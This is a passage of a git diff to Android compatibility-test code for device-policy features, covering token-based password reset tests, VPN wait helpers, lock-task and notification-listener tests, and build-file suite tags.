+import android.app.admin.DevicePolicyManager;
+import android.support.test.InstrumentationRegistry;
 
 public class ResetPasswordWithTokenTest extends BaseDeviceAdminTest {
 
-    private static final String PASSWORD = "1234";
+    private static final String SHORT_PASSWORD = "1234";
+    private static final String COMPLEX_PASSWORD = "abc123.";
 
     private static final byte[] TOKEN0 = "abcdefghijklmnopqrstuvwxyz0123456789".getBytes();
     private static final byte[] TOKEN1 = "abcdefghijklmnopqrstuvwxyz012345678*".getBytes();
 
-    public void testResetPasswordWithToken() {
-        testResetPasswordWithToken(false);
+    private static final String ARG_ALLOW_FAILURE = "allowFailure";
+
+    private boolean mShouldRun;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        Boolean allowFailure = Boolean.parseBoolean(InstrumentationRegistry.getArguments()
+                .getString(ARG_ALLOW_FAILURE));
+        mShouldRun = setUpResetPasswordToken(allowFailure);
     }
 
-    public void testResetPasswordWithTokenMayFail() {
-        // If this test is executed on a device with password token disabled, allow the test to
-        // pass.
-        testResetPasswordWithToken(true);
-    }
-
-    private void testResetPasswordWithToken(boolean acceptFailure) {
-        try {
-            // set up a token
-            assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
-
-            try {
-                // On devices with password token disabled, calling this method will throw
-                // a security exception. If that's anticipated, then return early without failing.
-                assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT,
-                        TOKEN0));
-            } catch (SecurityException e) {
-                if (acceptFailure &&
-                        e.getMessage().equals("Escrow token is disabled on the current user")) {
-                    return;
-                } else {
-                    throw e;
-                }
-            }
-            assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
-
-            // resetting password with wrong token should fail
-            assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD,
-                    TOKEN1, 0));
-            // try changing password with token
-            assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD,
-                    TOKEN0, 0));
-            // clear password with token
-            assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
-                    TOKEN0, 0));
-
-            // remove token and check it succeeds
-            assertTrue(mDevicePolicyManager.clearResetPasswordToken(ADMIN_RECEIVER_COMPONENT));
-            assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
-            assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD,
-                    TOKEN0, 0));
-        } finally {
-            mDevicePolicyManager.clearResetPasswordToken(ADMIN_RECEIVER_COMPONENT);
+    @Override
+    protected void tearDown() throws Exception {
+        if (mShouldRun) {
+            cleanUpResetPasswordToken();
         }
+        super.tearDown();
     }
 
-    //TODO: add test to reboot device and reset password while user is still locked.
+    public void testBadTokenShouldFail() {
+        if (!mShouldRun) {
+            return;
+        }
+        // resetting password with wrong token should fail
+        assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+                SHORT_PASSWORD, TOKEN1, 0));
+    }
+
+    public void testChangePasswordWithToken() {
+        if (!mShouldRun) {
+            return;
+        }
+        // try changing password with token
+        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+                SHORT_PASSWORD, TOKEN0, 0));
+
+        // Set a strong password constraint and expect the sufficiency check to fail
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
+        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 6);
+        assertPasswordSufficiency(false);
+
+        // try changing to a stronger password and verify it satisfies requested constraint
+        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+                COMPLEX_PASSWORD, TOKEN0, 0));
+        assertPasswordSufficiency(true);
+    }
+
+    public void testResetPasswordFailIfQualityNotMet() {
+        if (!mShouldRun) {
+            return;
+        }
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
+        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 6);
+
+        assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+                SHORT_PASSWORD, TOKEN0, 0));
+
+        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+                COMPLEX_PASSWORD, TOKEN0, 0));
+    }
+
+    public void testPasswordMetricAfterResetPassword() {
+        if (!mShouldRun) {
+            return;
+        }
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                DevicePolicyManager.PASSWORD_QUALITY_COMPLEX);
+        mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 1);
+        mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, 1);
+        mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 0);
+        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+                COMPLEX_PASSWORD, TOKEN0, 0));
+
+        // Change required complexity and verify new password satisfies it
+        // First set a slightly stronger requirement and expect password sufficiency is false
+        mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 3);
+        mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, 3);
+        mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 2);
+        assertPasswordSufficiency(false);
+        // Then sets the appropriate quality and verify it should pass
+        mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, 1);
+        assertPasswordSufficiency(true);
+    }
+
+    public void testClearPasswordWithToken() {
+        if (!mShouldRun) {
+            return;
+        }
+        KeyguardManager km = mContext.getSystemService(KeyguardManager.class);
+        // First set a password
+        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+                SHORT_PASSWORD, TOKEN0, 0));
+        assertTrue(km.isDeviceSecure());
+
+        // clear password with token
+        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
+                TOKEN0, 0));
+        assertFalse(km.isDeviceSecure());
+    }
+
+    private boolean setUpResetPasswordToken(boolean acceptFailure) {
+        // set up a token
+        assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+
+        try {
+            // On devices with password token disabled, calling this method will throw
+            // a security exception. If that's anticipated, then return early without failing.
+            assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT,
+                    TOKEN0));
+        } catch (SecurityException e) {
+            if (acceptFailure &&
+                    e.getMessage().equals("Escrow token is disabled on the current user")) {
+                return false;
+            } else {
+                throw e;
+            }
+        }
+        assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+        return true;
+    }
+
+    private void cleanUpResetPasswordToken() {
+        // First remove device lock
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED);
+        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 0);
+        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
+                TOKEN0, 0));
+
+        // Then remove token and check it succeeds
+        assertTrue(mDevicePolicyManager.clearResetPasswordToken(ADMIN_RECEIVER_COMPONENT));
+        assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+        assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
+                SHORT_PASSWORD, TOKEN0, 0));
+    }
 }
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
index 91b710e..6aeff7b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
@@ -16,6 +16,16 @@
 
 package com.android.cts.deviceandprofileowner.vpn;
 
+import static android.system.OsConstants.AF_INET;
+import static android.system.OsConstants.IPPROTO_ICMP;
+import static android.system.OsConstants.POLLIN;
+import static android.system.OsConstants.SOCK_DGRAM;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
 import android.annotation.TargetApi;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
@@ -43,14 +53,6 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
-import static android.system.OsConstants.AF_INET;
-import static android.system.OsConstants.IPPROTO_ICMP;
-import static android.system.OsConstants.POLLIN;
-import static android.system.OsConstants.SOCK_DGRAM;
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertTrue;
-import static junit.framework.Assert.fail;
-
 /**
  * Helper class to test vpn status
  */
@@ -70,47 +72,62 @@
     private static final int NETWORK_TIMEOUT_MS = 5000;
     private static final ComponentName ADMIN_RECEIVER_COMPONENT =
             BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
+    private static final NetworkRequest VPN_NETWORK_REQUEST = new NetworkRequest.Builder()
+            .addTransportType(NetworkCapabilities.TRANSPORT_VPN)
+            .removeCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
+            .removeCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+            .build();
 
-    public static void setAndWaitForVpn(Context context, String packageName, boolean usable) {
-        ConnectivityManager connectivityManager =
-                context.getSystemService(ConnectivityManager.class);
+    /**
+     * Wait for a VPN app to establish VPN.
+     *
+     * @param context Caller's context.
+     * @param packageName {@code null} if waiting for the existing VPN to connect. Otherwise we set
+     *         this package as the new always-on VPN app and wait for it to connect.
+     * @param usable Whether the resulting VPN tunnel is expected to be usable.
+     */
+    public static void waitForVpn(Context context, String packageName, boolean usable) {
         DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+        if (packageName == null) {
+            assertNotNull(dpm.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+        }
+
+        ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
         final CountDownLatch vpnLatch = new CountDownLatch(1);
-        final NetworkRequest request = new NetworkRequest.Builder()
-                .addTransportType(NetworkCapabilities.TRANSPORT_VPN)
-                .removeCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
-                .removeCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
-                .build();
-        final ConnectivityManager.NetworkCallback callback
-                = new ConnectivityManager.NetworkCallback() {
-            @Override
-            public void onAvailable(Network net) {
-                vpnLatch.countDown();
-            }
-        };
-        connectivityManager.registerNetworkCallback(request, callback);
+        final ConnectivityManager.NetworkCallback callback =
+                new ConnectivityManager.NetworkCallback() {
+                    @Override
+                    public void onAvailable(Network net) {
+                        vpnLatch.countDown();
+                    }
+                };
+        cm.registerNetworkCallback(VPN_NETWORK_REQUEST, callback);
+
         try {
-            dpm.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, packageName, true);
-            assertEquals(packageName, dpm.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+            if (packageName != null) {
+                dpm.setAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT, packageName, true);
+                assertEquals(packageName, dpm.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
+            }
             if (!vpnLatch.await(NETWORK_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-                fail("Took too long waiting to establish a VPN-backed connection");
+                if (!isNetworkVpn(context)) {
+                    fail("Took too long waiting to establish a VPN-backed connection");
+                }
             }
             Thread.sleep(NETWORK_SETTLE_GRACE_MS);
         } catch (InterruptedException | PackageManager.NameNotFoundException e) {
-            fail("Failed to send ping: " + e);
+            fail("Failed while waiting for VPN: " + e);
         } finally {
-            connectivityManager.unregisterNetworkCallback(callback);
+            cm.unregisterNetworkCallback(callback);
         }
 
         // Do we have a network?
-        NetworkInfo vpnInfo = connectivityManager.getNetworkInfo(ConnectivityManager.TYPE_VPN);
-        assertTrue(vpnInfo != null);
+        NetworkInfo vpnInfo = cm.getNetworkInfo(ConnectivityManager.TYPE_VPN);
+        assertNotNull(vpnInfo);
 
         // Is it usable?
         assertEquals(usable, vpnInfo.isConnected());
     }
 
-
     public static boolean isNetworkVpn(Context context) {
         ConnectivityManager connectivityManager =
                 (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
index a4cd12c..4cc041a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
@@ -36,6 +36,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
index ce79922..780a90c 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskHostDrivenTest.java
@@ -20,6 +20,7 @@
 
 import android.app.ActivityManager;
 import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -30,6 +31,7 @@
 import android.util.Log;
 
 import org.junit.Before;
+import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -45,6 +47,7 @@
 
     private static final String TAG = LockTaskHostDrivenTest.class.getName();
 
+    private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000;  // 20 seconds
     private static final String PACKAGE_NAME = LockTaskHostDrivenTest.class.getPackage().getName();
     private static final ComponentName ADMIN_COMPONENT =
             new ComponentName(PACKAGE_NAME, BaseDeviceOwnerTest.BasicAdminReceiver.class.getName());
@@ -57,14 +60,45 @@
     private ActivityManager mActivityManager;
     private DevicePolicyManager mDevicePolicyManager;
 
+    private volatile boolean mIsActivityResumed;
+    private final Object mActivityResumedLock = new Object();
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            Log.d(TAG, "onReceive: " + action);
+            if (LockTaskUtilityActivity.RESUME_ACTION.equals(action)) {
+                synchronized (mActivityResumedLock) {
+                    mIsActivityResumed = true;
+                    mActivityResumedLock.notify();
+                }
+            } else if (LockTaskUtilityActivity.PAUSE_ACTION.equals(action)) {
+                synchronized (mActivityResumedLock) {
+                    mIsActivityResumed = false;
+                    mActivityResumedLock.notify();
+                }
+            }
+        }
+    };
+
     @Before
     public void setUp() {
         mContext = InstrumentationRegistry.getContext();
         mDevicePolicyManager =  mContext.getSystemService(DevicePolicyManager.class);
         mActivityManager = mContext.getSystemService(ActivityManager.class);
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(LockTaskUtilityActivity.RESUME_ACTION);
+        filter.addAction(LockTaskUtilityActivity.PAUSE_ACTION);
+        mContext.registerReceiver(mReceiver, filter);
     }
 
+    @After
+    public void tearDown() {
+        mContext.unregisterReceiver(mReceiver);
+    }
+  
     @Test
     public void startLockTask() throws Exception {
         Log.d(TAG, "startLockTask on host-driven test (no cleanup)");
@@ -77,6 +111,13 @@
     public void testLockTaskIsActiveAndCantBeInterrupted() throws Exception {
         mUiDevice.waitForIdle();
 
+        // We need to wait until the LockTaskActivity is ready
+        // since com.android.cts.deviceowner can be killed by AMS for reason "start instr".
+        synchronized (mActivityResumedLock) {
+            if (!mIsActivityResumed) {
+                mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+            }
+        }
         checkLockedActivityIsRunning();
 
         mUiDevice.pressBack();
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
index ce3c537..08edf44 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
@@ -34,6 +34,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.mk b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
index 0fc0564..b71ddfb 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
@@ -35,6 +35,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
index 5bb5c80..ed4943f 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := legacy-android-test cts-junit
 
 LOCAL_STATIC_JAVA_LIBRARIES = \
 	android-support-v4 \
@@ -35,6 +35,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
index 95b3e27..932f691 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
@@ -24,11 +24,11 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := cts-junit
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
index ce366d9..b947a61 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
@@ -38,6 +38,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index c680af0..05ebac0 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -159,6 +159,16 @@
                 <action android:name="android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION" />
             </intent-filter>
         </receiver>
+
+        <!-- Dummy receiver that's decleared direct boot aware. This is needed to make the test app
+             executable by instrumentation before device unlock -->
+        <receiver android:name=".ResetPasswordWithTokenTest$DummyReceiver"
+          android:directBootAware="true" >
+          <intent-filter>
+            <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+          </intent-filter>
+        </receiver>
+
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
index d4cbae7..499e710 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/NotificationListenerTest.java
@@ -60,11 +60,8 @@
     private final LocalBroadcastReceiver mReceiver = new LocalBroadcastReceiver();
     private Context mContext;
     private DevicePolicyManager mDpm;
-    private NotificationManager mNotificationManager;
     private UiDevice mDevice;
     private int mProfileUserId;
-    private String mPreviousListeners;
-    private boolean mChangedListeners;
 
     @Before
     public void setUp() throws Exception {
@@ -82,16 +79,7 @@
     @After
     public void tearDown() throws Exception {
         LocalBroadcastManager.getInstance(mContext).unregisterReceiver(mReceiver);
-        if (mChangedListeners) {
-            if (mPreviousListeners != null) {
-                mDevice.executeShellCommand(
-                        "settings put secure enabled_notification_listeners "
-                        + mPreviousListeners);
-            } else {
-                mDevice.executeShellCommand(
-                        "settings delete secure enabled_notification_listeners");
-            }
-        }
+        toggleNotificationListener(false);
     }
 
     @Test
@@ -116,7 +104,7 @@
 
     @Test
     public void testCanReceiveNotifications() throws Exception {
-        enableNotificationListener();
+        toggleNotificationListener(true);
 
         sendProfileNotification();
         assertTrue(mReceiver.waitForNotificationPostedReceived());
@@ -133,7 +121,7 @@
 
     @Test
     public void testCannotReceiveProfileNotifications() throws Exception {
-        enableNotificationListener();
+        toggleNotificationListener(true);
 
         sendProfileNotification();
         // Don't see notification or cancellation from work profile.
@@ -174,28 +162,14 @@
                 + SENDER_COMPONENT);
     }
 
-    private void enableNotificationListener() throws Exception {
-        String listeners = mDevice.executeShellCommand(
-                "settings get secure enabled_notification_listeners").trim();
-        if (listeners.equals("null")) {
-            listeners = null;
-        }
+    private void toggleNotificationListener(boolean enable) throws Exception {
         String testListener = new ComponentName(
                 mContext, CrossProfileNotificationListenerService.class).flattenToString();
-
-        if (listeners == null || !listeners.contains(testListener)) {
-            mPreviousListeners = listeners;
-            mChangedListeners = true;
-            String newListeners;
-            if (listeners != null && listeners.length() > 0) {
-                newListeners = listeners + ":" + testListener;
-            } else {
-                newListeners = testListener;
-            }
-            mDevice.executeShellCommand(
-                    "settings put secure enabled_notification_listeners "
-                    + newListeners);
-            Log.i(TAG, "Enabled notification listener " + testListener);
+        mDevice.executeShellCommand("cmd notification "
+                + (enable ?  "allow_listener " : "disallow_listener ")
+                + testListener);
+        Log.i(TAG, "Toggled notification listener state" + testListener + " to state " + enable);
+        if (enable) {
             assertTrue(mReceiver.waitForListenerConnected());
         }
     }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ResetPasswordWithTokenTest.java
new file mode 100644
index 0000000..6487b50
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ResetPasswordWithTokenTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserManager;
+
+public class ResetPasswordWithTokenTest extends BaseManagedProfileTest {
+
+    private static final String PASSWORD0 = "1234";
+    // This needs to be in sync with ManagedProfileTest.RESET_PASSWORD_TEST_DEFAULT_PASSWORD
+    private static final String PASSWORD1 = "123456";
+
+    private static final byte[] token = "abcdefghijklmnopqrstuvwxyz0123456789".getBytes();
+
+    /**
+     * A dummy receiver marked as direct boot aware in manifest to make this test app
+     * runnable by instrumentation before FBE unlock.
+     */
+    public static class DummyReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+        }
+    }
+
+    /**
+     * Set a reset password token and work challenge on the work profile, and then lock it
+     * with CE evicted. This is the preparation step for {@link #testResetPasswordBeforeUnlock}
+     * to put the profile in RUNNING_LOCKED state, and will be called by the hostside logic before
+     * {@link #testResetPasswordBeforeUnlock} is exercised.
+     */
+    public void testSetupWorkProfileAndLock() {
+        testSetResetPasswordToken();
+        // Reset password on the work profile will enable separate work challenge for it.
+        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD0,
+                token, 0));
+
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
+        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 6);
+
+        testLockWorkProfile();
+    }
+
+    public void testResetPasswordBeforeUnlock() {
+        UserManager um = mContext.getSystemService(UserManager.class);
+        assertFalse(um.isUserUnlocked());
+        assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD1,
+                token, 0));
+        try {
+            mDevicePolicyManager.isActivePasswordSufficient();
+            fail("Did not throw expected exception.");
+        } catch (IllegalStateException expected) {}
+    }
+
+    public void testSetResetPasswordToken() {
+        assertTrue(mDevicePolicyManager.setResetPasswordToken(ADMIN_RECEIVER_COMPONENT, token));
+        assertTrue(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+    }
+
+    public void testLockWorkProfile() {
+        mDevicePolicyManager.lockNow(DevicePolicyManager.FLAG_EVICT_CREDENTIAL_ENCRYPTION_KEY);
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/Android.mk b/hostsidetests/devicepolicy/app/NotificationSender/Android.mk
index 8b85e66..8c7633e 100644
--- a/hostsidetests/devicepolicy/app/NotificationSender/Android.mk
+++ b/hostsidetests/devicepolicy/app/NotificationSender/Android.mk
@@ -25,13 +25,13 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsNotificationSenderApp
 
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
index 5cf5e66..11680e9 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
@@ -35,6 +35,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
index 135b4cf..34b8e08 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
@@ -35,6 +35,6 @@
 LOCAL_SDK_VERSION := test_current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/Android.mk b/hostsidetests/devicepolicy/app/SimpleApp/Android.mk
index 46b6292..f0007db 100644
